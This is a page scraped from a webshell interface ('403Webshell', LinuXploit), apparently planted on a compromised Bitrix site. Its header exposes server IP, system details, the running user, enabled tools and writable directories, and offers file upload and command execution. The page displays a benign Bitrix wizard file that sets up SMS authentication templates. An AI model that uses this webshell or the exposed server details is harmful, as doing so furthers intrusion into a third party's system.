403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/wizards/aspro/next/site/services/form/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/wizards/aspro/next/site/services/form/sms.php
<?
if(!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) die();
if(!CModule::IncludeModule('form')) return;
if(!CModule::IncludeModule('main')) return;

$dbSite = CSite::GetByID(WIZARD_SITE_ID);
if($arSite = $dbSite->Fetch()){
	$lang = $arSite['LANGUAGE_ID'];
}

if(strlen($lang) <= 0){
	$lang = 'ru';
}

WizardServices::IncludeServiceLang('forms.php', $lang);

$eventTypeExists = false;
$db_res = CEventType::GetList(array("TYPE_ID" => "SMS_USER_AUTH_CODE"));
if($db_res){
	$count = $db_res->SelectedRowsCount();
	if($count > 0){
		$eventTypeExists = true;
	}
}
if(!$eventTypeExists){
	$oEventType = new CEventType();
	$arFields = array(
		'LID' => $lang,
		'EVENT_NAME' => 'SMS_USER_AUTH_CODE',
		'EVENT_TYPE' => 'sms',
		'NAME' => GetMessage('PHONE_AUTH_EVENT_NAME_'.$lang),
		'DESCRIPTION' => GetMessage('PHONE_AUTH_EVENT_DESCRIPTION_'.$lang),
	);
	$oEventTypeSrcID = $oEventType->Add($arFields);

	if($oEventTypeSrcID){
		unset($oEventType);
		$oEventType = new CEventType;
		$arFields['LID'] = ($lang === 'ru' ? 'en' : 'ru');
		$arFields['NAME'] = GetMessage('PHONE_AUTH_EVENT_NAME_'.($lang === 'ru' ? 'en' : 'ru'));
		$arFields['DESCRIPTION'] = GetMessage('PHONE_AUTH_EVENT_DESCRIPTION_'.($lang === 'ru' ? 'en' : 'ru'));
		$oEventType->Add($arFields);
	}
}

$arSmsTemplate = \Bitrix\Main\Sms\TemplateTable::getList(array(
	'filter' => array('EVENT_NAME' => 'SMS_USER_AUTH_CODE')
))->fetch();
if(!$arSmsTemplate){
	$entity = \Bitrix\Main\Sms\TemplateTable::getEntity();
	$template = $entity->createObject();
	$template->setEventName('SMS_USER_AUTH_CODE');
	$template->set('ACTIVE', 'Y');
	$template->set('SENDER', '#DEFAULT_SENDER#');
	$template->set('RECEIVER', '#USER_PHONE#');
	$template->set('MESSAGE', GetMessage('PHONE_AUTH_TEMPLATE_MESSAGE'));
	$template->save();
}

$arSmsTemplate = \Bitrix\Main\Sms\TemplateTable::getList(array(
	'filter' => array('EVENT_NAME' => 'SMS_USER_AUTH_CODE')
))->fetch();
if($arSmsTemplate){
	$template = \Bitrix\Main\Sms\TemplateTable::getById($arSmsTemplate['ID'])->fetchObject();
	$template->fillSites();
	$templateSites = $template->getSites();
	$arTemplateSitesIDs = $templateSites ? $templateSites->getLidList() : array();
	if(!in_array(WIZARD_SITE_ID, $arTemplateSitesIDs)){
		$site = \Bitrix\Main\SiteTable::getEntity()->wakeUpObject(WIZARD_SITE_ID);
		$template->addToSites($site);
		$saveResult = $template->save();
	}
}

$arSmsTemplate = \Bitrix\Main\Sms\TemplateTable::getList(array(
	'filter' => array('EVENT_NAME' => 'SMS_USER_RESTORE_PASSWORD')
))->fetch();
if($arSmsTemplate){
	$template = \Bitrix\Main\Sms\TemplateTable::getById($arSmsTemplate['ID'])->fetchObject();
	$template->fillSites();
	$templateSites = $template->getSites();
	$arTemplateSitesIDs = $templateSites ? $templateSites->getLidList() : array();
	if(!in_array(WIZARD_SITE_ID, $arTemplateSitesIDs)){
		$site = \Bitrix\Main\SiteTable::getEntity()->wakeUpObject(WIZARD_SITE_ID);
		$template->addToSites($site);
		$saveResult = $template->save();
	}
}

$arSmsTemplate = \Bitrix\Main\Sms\TemplateTable::getList(array(
	'filter' => array('EVENT_NAME' => 'SMS_USER_CONFIRM_NUMBER')
))->fetch();
if($arSmsTemplate){
	$template = \Bitrix\Main\Sms\TemplateTable::getById($arSmsTemplate['ID'])->fetchObject();
	$template->fillSites();
	$templateSites = $template->getSites();
	$arTemplateSitesIDs = $templateSites ? $templateSites->getLidList() : array();
	if(!in_array(WIZARD_SITE_ID, $arTemplateSitesIDs)){
		$site = \Bitrix\Main\SiteTable::getEntity()->wakeUpObject(WIZARD_SITE_ID);
		$template->addToSites($site);
		$saveResult = $template->save();
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit